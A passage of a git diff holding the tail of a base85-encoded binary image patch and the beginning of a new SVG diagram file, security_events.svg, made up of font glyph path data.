z@hEO_MLdBjxY93Y39^{!P#K99bg){VKYy+V7|UAaLjjQmKOt2k2Mtubrkzu7Tqi8P
zsDITf#o!Vb6T5(eGkv&L#|V%g7e{s{lssMU7|hE}NT;`bi?BsNitp}s0_3?~iyE!<
z@<fx4B+pf0r6jRHNJeV!JzA)(%M&#eAS^&8Ku#<;iJWW~_;5S^Pyhy-pl3FIe5YVA
zRVC}So(qKC@<?eg7%oK)bMhB2UVMGcZlu2mI!r9VB<#jup6FG(MZiN|CL?oe{aE_Z
ztJ218VY1H0uSyy=V3k>|AFo?day5Ivl8+p3Vq&7*)zZpJ;r4Az_#Gsop@~WVtc>wJ
zn1;M_Z%<D+u)he<=MmA->YV+;qN1#%7r}A|;sMRA0b{=&YisMkkdW*A{LxU#1%+;W
z!|QQoML9nlw8`m_JWT}ad40^WC#7#ur<yfwxWU*k+*^S{BCxE^BRs8NwS8-PLxrvD
zrzSO9*NDo-WPaqU8$U>6V?Qn^8Je5FfUaG6IT<i{c+d|YKD_lgJ&B5rW*#R$J(`zH
zD4l?$=6Bl*FD-Shkyx#QsBKKY7fS}_l(p;IN}p5#^IWaMr;P!ZHb)*6pu+$}aa6Xn
zySsZ0wdZ*4m*vmuLD=xh02lgQfMu(Xwv*jK#H>_%PZ-6;DM8>urK<q<GjH#`3i@gw
z=3G2HDyy&H=co4eASl2ffA0blg$hXrHX~$$fX&!v&=k-?EzhhS1z!mYELhx)6B9`m
zeHr%OKb^}rs5z*Y@Bym*A|%8FL}h49_ai_KZi}yJ9(^LtKbxSHVynwSDeQ0^d^DSH
zhD|UG+Tw&pUVeUlyKk{47{A=mu87iA1PvVJTL|KAZdO-IYlub}f@gYWW-S{R3b`*Z
zXqK`KfXFM<)c3*M8?JC<jE|4swn<jYQd6X|N}xy-aay=(WyJ=_dYyrx(C5?}dIw)<
zw8kuk0d3M*38w}$AJ!CbWIZ%aK9BA}fiU0O+v5|N92-ki&(W}-Zo-aX({>p39m@?K
zS{;|WcTY8p0YnH|R@i-)g8B^R?h%Bumw5vVE$tboYZ>>GyTKqHqTv$~6`fgKRe}{n
z+hyQWvR`2XzjqHzfFY1q;?9EnE@#TU4qaet!k~));~vd%`dCCv-Y>3_IuhNT9{!N&
z=G7PEk#crQ>W55ax!bq381u=%O-<G4{WlbyyJ|nmq5xE&kNFwo1+)ysPLDRB1B%9F
zBTLJ6>eD@0U^)X+F(sn=t5s`YC_GRa@;i^0JviV{1}OiurbZkDWPKji1$O;PBCttO
z@e%a0#wI4uKwN{Ja!ukfSvmh%aRvsNMOj?HQv9LTaB4HaJZR*lXymwqyo}mjffo`!
zeBeqy8Usv2XEj^ZWH|Kmp&Qnje0pRC0S+%1puoyPQ|PV)L0*uyzz_kPksx@`uNJ`N
zI5;?N%Z06IA_}N?3&d6v;r*Afv6=-N{nub|<Ok7B5s^2mA2r{zKj6_XwIs$R<*?#Y
z1Hr6Xp(F0G#RN<Vgfr;F3l}cDeOTxH_;966F~6>;=oOsFWj9qX>f(2#*BVAySX!E=
z*;bj%T0X)}QtC(Y2%`mhJ|KF`OLa_pk`(XWeNhztt#;nUt8F`snUrH{bu}y@Awea2
zX|$~1O6^Ch;ZKlmkhS#?Dd3pAf>#{IcISa07&ZqHLr;{2F&OZb^~u}SUAIisV6Ju}
z2%-l$0}x(ldR%+(Gsn|rv~eQyk#sY(M8-|tzwc;m4FKv*!OL4rvOnrvb<2{o1T+K`
ztGKv0uE%?Ju#5nom)P~-WeTLFrM#P4`G)8FxuvChckf<+hoT2lp}B>hU8m#)TtR{j
zp7Qf}UNe?)I#Af`B<%_Mg<RY`-~Au>O!p0OGFKP`S&t^?6XD1Q3%MO!h?H*G-1=hY
zLOFVml=Ra1L(Iah$TGx`^Rj4+l1Fr;MO$LUt4~~$x3uD36Z-sA4)$JzPLwH#GMJ5E
zx#o%AB?<Eq+d~_ShN`vN4uFktu>2Vq7(kIGfZ=ND%p4UH!vpq-f%_aW$U$F&0!Da&
zXCnG1Nax`XMi|g4f>$RtCOp@e(^tT1SqJEIfSLl(-wldgtJ;klbp8!^dB$qIG8#ms
zfYnevVBeRe?Q4?WiD)whyc&?~(%|@jIxo=lwvt0*2XMrBp#R`8toO=N+pkYGR2}^0
z!eG=v2j}j+dq`*!?p8OpwzdKYk|nuKV_RBULeCVsgEO@fy2%n=Zl}k)PjvN7l6_8u
z5%2~Bbl~BApWM!Z?Pk)49{{bWytW=dA__Sz5I|Q8{m@`0pgjx+2M4erdnrd_qoUF<
z=S6`xCaIidXJRt!h+$WBIU^7NxgW`R{|2DUTJ2%j-kuv6>Fe+g40ND>&9n->w?nrb
zp(6yQGP=nlEL_nx@7XT`orfHaJUS@a!uHGKRho;Yqp*rlXO_n*A_3rmgHqI_W>i4W
z#cd{3P^-uU8=7<IH*?;Iy0W;g_a9TOl`Nw->*48vCNMZTZ*K{hQ&oW|8C8>n7b6G^
z>u;OP&?*Piu?kMaJU%-5sjdU;qWvCcP1EG*i7OCWv^fKnJJ+D5(g3w^D;p2DySw|@
zvuDtA$_gof=g?$%)m8aPGbcLuGI+LNHo5Q5#qNWV0=5HXN=k~@#%Fr5!{y@br@POv
z315$&z}%rWp%Y9wXP~|Kxz1PpQ(ao`H;=WBX2<T#D|$S-kv`b5(BJ(=(qB9<0g06l
z{?owjgQhooi<7%#%Y>cOPpKLwzQzO#FXm2eGn4XgPB<gib|!IvlL~?#Y&BV{e^toL
z+FH@jkcLvkX$oTZZD|mg?4WP2iS!@Ur)%Uy|DuG5goTau^+mYH)R;d25zszB{uVO?
zYA%D}k(e^bl9GuwW(kSf0m+nKW$!C6E_QWxqP^kOy{4`f`4#AuI0ZWgmZZhFy&Ql7
zWAEbf11vov5)uKjo0Z1RL5G#wTZ60ltR&dXjAX^jJC|nfR=jRG@;S1N+(h1QBJ`v?
zdE)aP2sS7<;9Ea_wNir%r3wlJ5_<@O-*zJyrYHz4C@{vDc9$3#8SlL(VCSHvee&rO
z#E}%d7N&XL0p7=8@e?|euBRucoR*$`nUIkFlxeu&S!SkLvGlnya>wtBi^IztRS$zl
zX0o%gEK<vaPLrf%ik~(Ybb*%qDSl<UjDwpy0>ru$GpCt}$p?TxVV)o?mx0~y0o2p0
zs|K8g)nF&L*LRMz`(p+@EI4$(T^10~YAc{cL`1}=eVpZqn~jOv%hK<aB;yFKX}-)s
zoPT+&FE`k)iErL8C?7o^yI1;-VPbS-JfDtM-56RxFGz669(~Jg=;^ud{u%|Opm^=|
zmArdSPFv!dlseP+Y2UJ;2Dg1+BMvsbIAMji>av~zFW)?;YU!i(!K2j@)3Ssv&Hw$*
o-(T+?(Ejb6zdr|cW~Y}Jab)vTuh*BrtCa{j8Kv9#Qif0e4;XV<7XSbN

literal 7355
zcmb7pbzD?kyEck}gff7DqB1j}<S>MQlpt)nyFnO+Zia3ohHj*hff10d0hACWrKG!S
zL^?z%55DJpo^$><&pF?>|JZx2^}Fxuu4}D*@81qrQIaMjzE4a*KtLud1E>)YTm>%2
z*+hhw_myj_M3;|yC`lcZx`R2&-NYG5@WRZ&6bY8KGqFIbAx+FYow||21O$YPRvJ1e
z9YqB}go7Q2$sZXG4?D+8Z2|&eQ4dEGgbfk}Hbq)k*^5ATKD0o=R%RklZC*uAMMnvw
zrIn1AGg944Ndw_!gAg!-iarMmdk9_v*db9SU=KT6dlx|u5$L~g1uw^cmf=wFzeG?r
zBGCVIN=H!zEaBjc1oLum!VsK%TwuPZ99&O11)d79gSk1mIN@B}a87<07pEXEzaS?U
z_}>@w(weiGxu6;#^>163GZCmI3gsvWhr7GGbGY+xI5=Ctxda3R;GEoWZf@A61kA<L
z9%bSIvv*<m3jsj7Ae^lnQC1H2;6I2arVg$s5$L6-{~3av<KM9MF8@x`Wy0VdCXR3}
z4$eOz{UxZV_`i$V+5Ii;f>J~Nm%slbu#1MLBNDELba8NXMqC!ooZ*itM?nc^qzTHw
zS;N7>_OC3eSUR8_Tr3?N!4m4c99&>U6NHuhpOt@UC@Kod+Pk1k>=8&=Km>Y;!C_@(
zCMdwq$HyhWCB?}r!O6uX$^VRpM^XUb1f)2{dAYcFx&P7y91yN{NPE;@x@Ldta&!Kp
z?jJJPIbK=@kj_?aNHZyC2Rrb;f)=#;XJ3GS#QV3d*+2TiCHarK@Jnale@gq`O8wW;
zC4c@5|0eF`<ZtRD?JxQ6d`aw-r`T(k`-MP7K|}JxaOcm{U$y<MX-y>`KYqMqm$<mN
znVFe-vMUS*i^Ao~$jDSwRM^?s&3#`TTb<R_)oq*Tmy?sLt*!n1`Ll|O%9k%+mbdV}
zrO8G{M!dYd@87>K`O=usfVIJdDJD2iuP#*fws3QEKY8-xRYkf^s^`}3wmmjtXmK+8
zQ-ze2)a<vVf!VR5&W7!yJ<sBVZ+lxTEG(v`rq7>0U*Fk4WCym4cB`waqY7i|zqU!m
z+J;tVG6m|py^DYM?p=F(dr?u*!NI}d;bB2RK~hpuUS6J~qhn!Vp}DzvPEO9{#>vgi
zRa8{OVzFp6dVhbvp`pRU!()1SIw~q^Zf-6%Ha09QEFmEwBO}Ac#>U>>-pk9&z`$U4
zch|(k#M9F=Gc)t|@856VzSYpsh>nha{rYuqaPY>)Msjj;et!Po;GmnE8y=5OO-+6I
z@};)6w!XeT27`%@kKfwb3Jnb%85yy(v>YBD4hRV7?(SArR`&Pz_xARln3#C+;)SH7
zWMX1sL_|bZR+f{KldG$%rlzK^uWv|5$kQ;y*RNkwQc|3qowc;IR##Ws+S<y>%64{k
z78e&?TwIitl)}Tq_xAR(v$L(Ot%HJs0s{m4`}@<=)8D*#v#_vWWo0!xJNxR@tCf|N
zrKP2~xVW*gF%$~r=jRt08F}&h0*Ax-`1mw8H#asmE-x?F)zzh?rG5YYy|c43CML$h
z!lJ6Gs-vT0ZEfv&lvR0oc}Yph`1ttD%#5L-;o;Gto}OM`U*ETH-=?OfdV71fx3>od
z2G-ZttE;Q$=jR<997ab+yJm)pi;DxwQ&%?Do0^*H>+8F^x>{OVdZvaH6ci>WC-;9I
z?HwQP9_*iAoKLLH9~>T>UtAbx`7eE2y)5ef!TyhvpWA!82ggSz=VzM-J7?!-Yn$IT
zcegh;H}%rJ4KsX)hK825)(bo8PR~w97pLad7AKZxy-E`M7siu56lAxQ@BTQ5sLctf
z%EWxG#<W#o+G_CI-=R<_002ivM-M8!iU|m)A+o>=4UehK*;@v5<7otrAGqE|D2P`$
zMI`b?&$_7>WIT1s$dhmBg+O`|$oa3jL`)mph-x6a;S<;zK!)4%owx95m!=Rp&YIi8
zS!K)`S=D*tKFlKKrjN~~z}@>>INVv&ymGqdP_K;XMdR^WU*oS16@^rL&gfRrD^CDa
zR`@l9IDjSsL7+e|nj8fE|C!8!F*0GJ9=zVnYD%k#nw)f(DE<I-rzYei2Ais!KHdq2
z0xPjHe8uSfFUVZBpg5lw_Ac%T=DL<_-AuWBjwo_orqrLNLdEZM_+RT^{|?R8*X8KK
zt#?!0dk{jiHGB@mW>g8@VG6IYgxr&PQ)5f_t#nfS8wj9ELhIQrq_he)kq18rm^`>L
z(MH80@d2z+VIb7A*G_5TMjD_SYL;z7m_cGN@QPvn>cP2N(JNg2eLUe2bZeHWcH+)g
zC$^KeL*!u_i9Xg7%}fiz2KGH`0=lY*P0Z+em4bDKZoQ>-j2E9sCL)n7qQSUP<gHdw
zYnze8JOsm8X7DZY>%MF@J0xlbjT2&Bq4^$r0^(zX^+?nET(aGN@Y=<$z;&qgLrAL<
z8T1rbuMG<?6a}oWc|+umz+S_>bA0@_D=h@RIK1vxSfFns--6`FK+*x3B3gbXo`|+c
zH1h<xz}sT<)UC=}xdP&(MWK_$I+K)l-rjc9+?Kf|LVUzHOA_Dxs_Than0{}v5cL2L
zk43Xp46349V}=sm0aDA*fd8oaK`jZqh#=}Ucj?x>XTae|s~z|fX@_}Az{iCQeB4fY
z#07qkOvoU|a`WIm^CZ``Nxu&@O6(4Dm>v}1iA<;{m0=$NO|C151200*k9%g;b^FXR
zdgMrS&F!E=o74%DdpbCRuY6f0raOTJIm}soSgVFwg4?=8{Ck1}EqNbT%)$_9BG?D2
zh7?w;c^VX5@`9Ljp3D4rmmH+HFs>PvK1n@)oA<_viHg$Hr&3iUWq_n{ezT`m*264-
zUtP|(N-?7{2jBl}3pCL4*yNW%pz?g%@FO%{kUaitEsM}rum*>cZerkiKlz|5<P&AZ
z|4rr~Qq{v%%D<_OQU@u*1F6b4&mL#X_n(#Xf8m$<a`9?pV#tW4<NJvefMS9~TyX@V
zR+<ruG%Yv8Yvx2mFpU#5Amb^v(jWKfd$4CejDN4v+3xpBA44z;QW^vVLPWZ3cXm4=
zafY)MencgnCtoFfD@-9oYt;g)QdLqnrmYhUukH_i^RYtUNXKYy$x=UP_d{b^#B-1X
zIR)+z%p0kiF4LHsuf1+P_pc`?nI+KVUimITbJQBaLa^@>`FWxjzDmO?#vB)-(u@+M
z-@$Won@KFh;#Xe#ogCpshc4gn)H7&4i3`*u_xLO3p-<Auy0V>JUnK`#N)~_ax>=+f
zLYtsxI0^C}yYBsKD4a9)0mY}E->1(&lJk=E0>7}vqNsh4od1#iA<vHL$>2J<Y6Zl)
zHc;g%xllx5D*iL&QEp^*Ys4cU#j#nB)nD0g3d@0;V9i9XoPjEdx0+nsrTs5vQh#6k
zylH%fUlx6?@S6;DoeuMh^@`TREmLVNX#o;D4c*>9E<NKZMhHrqQLZH#ejf{PMONVs
zRnfkcelDSkU22dMh!-B=Wqi1Pagpcmf2@15;4SLA!Q(CxgAO87rQ3uuVy@j73qsJa
z>F={UJJofVo8d8`T~BJXb$UBA7c2>Tj4F6<#r3_mzj{Cs8JA2HV^&YAdRRB$8wybq
zJyOs4br&n@O$)ky4<nU!7aW`)P&7#TNw6!s`Oys5$u3}r$5>RDauem2Fk16oA?mZW
zsu1Tko=P1s(vi?J1W#NApL}V61EL4&V>NzjMWW|hv&LuVzt0zj(aav+B{Wt|lAd{4
zQkN7EDIJk!F4K@^=dgaD>xKM@a>a3}#2#t)pR;&<^Im`Cb1ZT)Y5aTP&QA03o&=gm
z+1p^+D%K$f5&dSM(ra_3deFVnddtGUZG#kKINwlhF=zONY2N3-X*fA3J3#WkALO5G
zN<ja7oDbF(%$1Tj*b-VfG{(27wfLQ$3rLd>!os`W89ijf*U=eWujZ)BaAtQY4-`vH
z<oLh^V10d+<W4hN)Lnk0GXf}is2oRKP~JkEn}ttKWIiEdu_Fw9TTSrUfs}kTXJtE&
z4O~tPsIzp%={?*@hri;DfJ}j`Il}ckiB`miEUT%BVo<ISyEdpq{!RT&zE?BmjX<xY
zZ_aUJRgMxPLn}3tncBB!gA80LXb$maO&*8~AvVz%i%Ok{l^JOWDj8sBv?^C%Tn09T
zyKri7Zh^Pla+Foipwi|+O^k^{@njH;{?+*VTzF<8bMh1>@d#2IncF(E70(8)R^5B|
z6I(uomK2i6zpj54!_N5nW5P!+nxiCmli>Iyg2}5wl4h&uT^^YiV~3j7$Cc4T!n?7L
zzosMfv7eS}aAqX6fl0j!Z4LO9tGwa}VTq(QR2eOkovzWL)?JZ!WP+FNXH-rz1VHtG
zBa&cu^GT?gs(z?)hu09ro4oYZqs|^%CbeOprn?7)O_<h$8OveO_}jEDs>(Elk(ntG
z;g4+NmAe9aL-ZJ>stgsXhuj0S;we}YDY_5$sm0d>DaF26I4+G1D{ku)8%kVz8Wy*l
zP^6H+$C;GC(6H+`NZ~7i#%sMuvT&l)byEKba{Y!FobjxhEWBwxBE`PHp+JJOR9GwB
z+e8O&(bQ`Eia3$21@1WE6wJ2rUeiK(DHwF6wHtX;+q((a9L3~T(VOs`K~Vgi$8!8A
zZ*o`A8hf&)H7}2DcZa$n=3ikZ0o1Mi?`n9%7gz%;gd@*ZHj=ixRDmgUJJX*SF}_Dr
zSrRI{sE?_UdRM2u+8Z5LrIs<gTSfDcJ+XdqsKeHv&?xp4IE&XC8CXC*$u!OX)K>pi
zB)J_vc+3kF;047W#VJUhZ#@khiFg>CDOj&QPY!*LoB}vFGsFsIf@5ea?#+rjU!el@
zdOL(8BV_0*>kTB^Uco|xunqSk#xHxOLM&rEe>eS`Q&&KYlDKp5y~jZFys|VwQ7p2?
z-GwA;0aHLpY5CwQ36_4>TtHd_PJOq>RF%p`XCRky7Nx!foJa{n--nPlb;tJKchPAY
z>8mhHgt!H-5mZQeC0~XrnZVFH8U)iS15Hp^=o5ArjJ)>%jy!~IE2Qt>WV|NV?IZR9
zQ$}n*VPnjfW8r;0W>Iu?&fCKZT8s6D9j*PX#&&8-7MPw5TppY(X?pTZYxoEiV@m{@
z6%-j```qNRc#%u3&2jvo;X6;{$m6S>2Beu))NWp@3PV84@dpH3ZFu^39lY<zYqg!~
zT(wQ6_v%XC22Umv@h_>fg(Lv}V9Wl%tHM_z(PeSweQG%uGXrRRKP-G#jr{+q^_$f~
zuQ9cDZQfh2m}i+-ZsV8+sgi@`hQ+;C45`!y-I-bQjh4G4c}L~%MBNtuF0dV0_$0iM
z(Hw#Si%}7Zd$#8CeehS1oX@|329@277l|_VEyN1EO7?T0ejJBPOGYy@lWXqD0!j^)
zUk%t-iU+9~#@1=IKNNQ>d8SaCI8ntv3X7LUCXMq}h4hN=v%au@VwMX|ZG`xNhwk5(
zPWNI~L<=evrM4L7qtvz5*(lK>MJbT0a#<ml$a0vnC5hq#_S+2f@EVm!9G>FS>wsxI
z#rs;K$UOAnv#3&gN6l9Alxkw1mwD5vS8vmK7+T`8?U_B(IyB7%wcEmFS@bh0Mc=^6
zZk&jTuw`%ZTF_zwVM~>A02L{EB+mUT=nNR!z4sLZ+YW9I6C+COi`NU5bO7`obVLgo
z_l7OeGBZh=-13HhW)0^3@(F);ytbrCowehNF9)_llGTT|+Ig<7>PIuUeb3~+0(p7A
zQTqnF40*S%uCkOR+8iV@Wm^9-`N|Z;IJN>GEfe`!hq+>0QTR2{<Yp7QZqtXZ$#}AZ
z)`%bJH^t6{S^SmEM|!V4{~nEweIgFD2FN_5%!i~a9$H40Y6YB7Xi>Y`fT){5MUcb&
zYm41VF<to#rjG~3#u~HSauS&3qJ$)o;s(n<$vXswTKm<Ul$+`;s6Z(|YoLq>Zk_P1
z090fODtiUeNH7DM)eCNqB!^WI3H8NogcLrw{kZCGqtwSSjuNaB)>O4WPQBL@z0tP+
zmhnBiU4^YaToW`J(K$q}%6UjRDf~FzD~t^`1-*5*x1&}8{m4Xhi%AXSxx`6LIB`wC
zPA{u(32~&ozZhHG^n*nR>>}r6=KBQedwm7l%bb`vRMq>aDo4|yoN+f7UBH+gg$}Cd
zoZ_EalDYIr&1g=toc*}Z0ye^0m(-W7ttNNGZ*L9@MF*YM-2Ag8{_j@tpTCI8ZVkG)
zTN29w{@9k)RD7|r94A(^^SQ?M*Z=K1iX##ob*zNO$B5Mk-UM4L_lehZ-FV)OBLZC)
z#q>?}&-o;hYijl#%4+UjgA%&|#Uhd&8yP|9j|%g5GH<QKh#juh&0nzRTwH8%<(Ma8
z2b#|p9)m<c6iaEo>!>cp3oZ2@M>$HG7X7Ic2k9xLWTo2Ga~+F>>*}?WF;f@o)CMFN
zw>y}ij8J9~BqR0|Drf(Vz79+af}QJe$j1WkrX0nN3&s;B#N?rkJRy|ZZBNv_D%4_P
z(kroL^xpg2SS_}Q#Sf?uOi4mM<NHy^)lp1lO}p&$FWZhcNn)qJ1bbRLzQ+SSL91s%
z+OYT6FoR<~iV{>p@B4J<fnxkiidm{CbaUou9yZ6v^_V8RuZjO;aYj0izR&mBN&JlR
zb#W@<U!}^-Y>}`H|KXMNxQt?E#rGe@8s9Z~1ULgQ)50Mz*4R^o4rbwnJD7ZyUZRjN
z=Bz~E8NodYWA7p#`jkh^9@;{SIh=@J(WfA*HXiZjZNcLto|<od7#vjIYCfH#_ZJa7
zp+SiLnnMf@-Z|gDAV8bz@ZJAnqHo>#?r2yC_hO>}m0&u-G}wA1=RAKe<uq<+IYMnl
z`rD~oM~}Ybdx*rOmXwup;=U<G@?4>;_U)>6!$6zrbMNGPY14OaX0ey5WV>ziliDh*
zVvQPmi0w?Mb7gfouYF?wePlF2l}l?R)MugpMLg-LQ%I;~Hm3Jxj3uj(B}IpEuAt4a
zw?qrc#Uf)oHH?w)R#J)`Lldt)vxsw(9cDu$sv)WL(P!5{*a)eevO@6<nM`U@vhRtp
zTNlF!Q42DRx4*~nogEX+8Brfz0?b62Rm?l4u$QiAB(XH0T*D;uaA(*=U9_}67lRNw
zk7kgSGiI<WeJ*Z1kI$!k(66Z4U!~!g&2Jm`q>)3mj}q_b98~j*A{rBVzeqPtcdy1J
zq-s!?LAATX*og4JRE($?r@(@{M*>lqm%qEU`klUPxptZ>rb~@kG&c#3iX8~>R6JP0
zvGJBj_!_%=YzHZOAIrji5Ta%xo^$!$6WRNuWi^*P1$@hPi#N`Yak9f$ho@Z$tD32(
zyVt*65nLdlM-J9IQ7(}?ZI2Z-LA#0ml-Htwoe%h*9k!!wa|y-KYAm#5)E8k^<OfN$
zH5;{lT2f^81Gz;J;iGI%iW**QSS$HAuy+V3sdmU#cHW4RKfx7*cY2f+u~&OLU_2nZ
z;}HrT(aClZYOTbH#7xP@_Mqx#(9WmrDVSdJjyq`<N>-#5n2hWN&63=8VQ<!Abr7sB
zSh+UX1+cFpkWeq*BKKe6_(>LQD-%JJ!(jF>TK~ygP-2n~mQS^$z>w;DnB^zBA-1fu
z>B^u=$0qK+c$^e7StXslKfu(|aeqj@MKt9#AbK%RKQ|zc+3{aC1tdx<4SjZKJM=vs
z^E5bIIW70kVlYjXz0LO4CI9x1E_;>ok0K9tguATyiqbUQlkCeKn+IHkt%>DbIDYlb
zQ84fVbXlJ_9YggdY(h#-s<ABUux0HO0+eEtC04e^*zT>OKx0-p>4rVAZk<_kbZH`_
zS0zbKrsW!jnP-05{I}3d?96rlI}lgWLB>xA*sjoGXXJRSjOv)&vc{5n@+a$yV$$mb
zxQ^*ZgUZdXz3&Lop0Y|G;wL(Pr$GdN9f;XMr!je(T|%SSno@NXaCfPa+pQinRA(rW
z|2(u^POGKyKv?>z>XdS9KAlnVG_&6u=2KnS5rhgUCGl0?BEwge5zc}9!U7mli-*!}
zcV=H}c#|W0bvWrbtke2)r4JjX(yxCBK*>oYZI|iUeg!GIz;C0OO*0Avr>PeYLj7ob
z9?1ocJQ<B_3SJqelQ5gOFqG`3G+v#LNiLl#uM)MBanYXNMl1P=9@{-XkDYbr5k`o5
zMva;oPxvYm0BgSp#Vv_ZkBLd7K&3Cq!Ybxft7$M-rzqfGgNfH)IyF>_hBd#OmsXA%
zp9Y#x#wTHiM<2sBn5x1uNz)=^?!DbfvL2me#w56gCI|VGEK!|D3!9k6m^f!9d~SQB
zGTu#29jp_)XD$1b{KSXG?3y^0DyJ7pYavgjg`_!#xm<w)cQ-sl5PF&^JFZT_`!(Fe
zHR(4YvR(x3rmI&VXzvXiuWmOV4@&QNp0&9BKJ(umXo8;<&78KJHO=}H1r+M?)x7Yg
zNj(^fW<Px(y+ZYNq|(%%zPPAL`jNNJbsTTrr)~#E`n%n?Cr)WYS=Nh^7^UuqPA+{8
zq`RVN8$y{$G|gU|fm3I7-5V#7mWPrQ_n!?gkQVc<cz#|SZZyqPyX)^HkZ6?66J473
zgR)_nkgvqTGiNP*^*qLp=1eW7kR$wQrG$d)LS3geXf(6o5%A-nF;wF)LFQDG$F_vy
zah(vx+tV1q!4}%F*}r-;HAG*z=^N-(QXtT~5jYt2AX3@b^=E+pxT}o?6<p~Wf_9*9
zeL%gx+E+**G1+7>>xaBwc|YgQ%vm%If+WrBmoas=dHu=oBapcRU_MW*c$r5gUc2U#
z{tkIuxVf9rOb<N;hWXO!;9>iR-%?qA2RnXrKWjQiOvw!l?REH%-YH2H+9k%{Xw^Cy
z3+;JY_?vaTALBDnFFjk*-+@vNL!3Nx+1|Xb^szs+p^jyZ^|XkABh{yh{t;f(yuOy)
z^(S=WBV~pEEuhZ#y+UGFxhksZb<l(l{Cedg7W^WHnfnWq<Xlwb&^sTKt42wouRD!8
tS1aAWT%SM_!AGS3u?t!H_WL?50f!%A;$_*VjX%E=WhIq>GVzx|{{bHTnj`=K

diff --git a/_images/security/security_events.svg b/_images/security/security_events.svg
new file mode 100644
index 00000000000..f1b93923da6
--- /dev/null
+++ b/_images/security/security_events.svg
@@ -0,0 +1,338 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="679" height="320" viewBox="0 0 1101 520" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 